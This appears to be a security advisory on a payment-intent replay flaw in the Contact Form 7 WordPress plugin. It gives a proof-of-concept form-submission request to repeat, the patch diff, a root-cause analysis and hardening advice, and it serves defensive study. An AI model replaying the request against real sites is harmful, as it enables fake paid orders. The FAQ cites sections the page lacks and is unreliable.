SECURITY ADVISORY / 01

CVE-2025-3247 Exploit & Vulnerability Analysis

Complete CVE-2025-3247 security advisory with proof of concept (PoC), exploit details, and patch analysis for contact-form-7.

contact-form-7 products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An unauthenticated attacker with a single intercepted Stripe PaymentIntent ID can reuse it across unlimited form submissions, triggering confirmations for non-existent transactions.

POST /index.php HTTP/1.1
Host: target-wordpress.local
Content-Type: application/x-www-form-urlencoded

_wpcf7=123&
_wpcf7_version=6.0.5&
_wpcf7_locale=en_US&
_wpcf7_unit_tag=wpcf7-f123-p456-o1&
_wpcf7_container_post_id=456&
_post_nonce_referer=%2F&
_wpnonce=abc123def456&
your_name=Attacker&
your_email=attacker%40example.com&
your_message=Order+999&
_wpcf7_stripe_payment_intent=pi_1234567890abcdefghijklmn&
_wpcf7_stripe_posted_data_hash=hash123

Repeat this request five times with identical _wpcf7_stripe_payment_intent and _wpcf7_stripe_posted_data_hash values. Each request returns HTTP 200 with a success message. The site administrator receives five separate order confirmation emails despite only one Stripe charge ever being processed — the metadata tracking an individual payment intent reuse is absent in the vulnerable code path.

What the Patch Did

Before

$pi_id = trim( $_POST['_wpcf7_stripe_payment_intent'] );
$payment_intent = $service->api()->retrieve_payment_intent( $pi_id );

if ( isset( $payment_intent['status'] )
and ( 'succeeded' === $payment_intent['status'] ) ) {
    $submission->push( 'payment_intent', $pi_id );
}

if ( ! empty( $submission->pull( 'payment_intent' ) )
and $submission->verify_posted_data_hash() ) {
    $skip_spam_check = true;
}

After

if (
    isset( $payment_intent['metadata']['wpcf7_submission_timestamp'] )
) {
    // This PI has already been used. Ignore.
    return $skip_spam_check;
}

if (
    isset( $payment_intent['status'] ) and
    'succeeded' === $payment_intent['status']
) {
    $submission->push( 'payment_intent', $pi_id );
    
    $service->api()->update_payment_intent( $pi_id, array(
        'metadata' => array(
            'wpcf7_submission_timestamp' => $submission->get_meta( 'timestamp' ),
        ),
    ) );
}

if (
    ! empty( $submission->pull( 'payment_intent' ) ) and
    $submission->verify_posted_data_hash()
) {
    $skip_spam_check = true;
}

The patch added idempotency tracking by writing a submission timestamp into the Stripe PaymentIntent's metadata after first use, then checking for that metadata before processing any future request bearing the same payment intent ID. The control is the metadata field on the Stripe PaymentIntent object, updated via $service->api()->update_payment_intent() — a server-side audit trail that prevents the same payment intent from being accepted twice. Without this metadata check, the code performs no stateful validation to detect reuse.

Root Cause

CWE-345: Insufficient Verification of Data Authenticity

The user-controlled _wpcf7_stripe_payment_intent parameter (sent in $_POST) flows directly into $service->api()->retrieve_payment_intent( $pi_id ) and is accepted if the Stripe API returns status succeeded. However, the plugin never records that a particular payment intent has been processed by a particular Contact Form 7 submission. An attacker can submit the same valid payment intent ID across multiple form submissions; the Stripe API will return the same cached, succeeded payment intent every time, and the plugin will honor it as a new transaction each time. The trust boundary crossed is between the plugin's transaction log (per-form submission) and Stripe's payment intent status (global, not per-form). Stripe correctly reports status: succeeded for a payment it already processed; the plugin's mistake is not asking Stripe when it processed the payment or storing an admission of processing to reject duplicates.

Why It Works

The single load-bearing line is the metadata write: $service->api()->update_payment_intent( $pi_id, array( 'metadata' => array( 'wpcf7_submission_timestamp' => ... ) ) ); If you remove this line, the bug remains fully exploitable — the early return check on the next line becomes useless because no metadata will ever be present. The additional lines — the early return guard and the timestamp extraction — implement defense-in-depth: the write creates the defense, the check enforces it, and the timestamp provides audit context. Without the write, an attacker's second request will retrieve the same succeeded payment intent (Stripe has no reason to block it), and the spam check will be skipped again.

Hardening Checklist

  • Implement idempotency keys for external payment processors. Use a unique, deterministic hash of the submission data (similar to _wpcf7_stripe_posted_data_hash) as the idempotency key in all calls to Stripe API methods that modify state. Stripe's idempotency support (Idempotency-Key header) ensures a duplicate request with the same key returns the original response, preventing duplicate charges.

  • Track processed payment intents server-side with expiration. Store the processed payment intent ID and submission ID pair in post meta or a dedicated option with a TTL. Check this cache before calling the Stripe API; reject requests with cached payment intent IDs. Combine with the metadata approach for redundancy.

  • Validate the payment intent's customer and amount fields against the current form submission. Do not trust the Stripe API's status field alone. Retrieve the payment intent and verify that its amount matches the form's current total and its customer (or description) field matches the expected submission context. A replay attack will fail if the attacker submits the payment intent against a different form or order.

  • Apply wp_verify_nonce() and time-bound token validation to form submission handlers. Ensure the _wpnonce parameter is valid and recent; use wp_nonce_field( 'wpcf7_form_nonce_' . $post_id ) and verify with check_admin_referer() or wp_verify_nonce(). This raises the bar for replay by forcing attackers to forge a fresh nonce per request.

  • Log all payment intent retrievals and status checks to a dedicated audit table. Record the payment intent ID, submission ID, timestamp, and response status in a transactional log. Query this log before processing; if a payment intent appears twice within a time window, flag the submission as spam or require manual review.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-3247

Frequently asked questions about CVE-2025-3247

What is CVE-2025-3247?

CVE-2025-3247 is a security vulnerability identified in contact-form-7. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-3247?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-3247. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-3247 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting contact-form-7. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-3247?

CVE-2025-3247 affects contact-form-7. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-3247?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for contact-form-7.

What is the CVSS score for CVE-2025-3247?

The severity rating and CVSS scoring for CVE-2025-3247 affecting contact-form-7 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.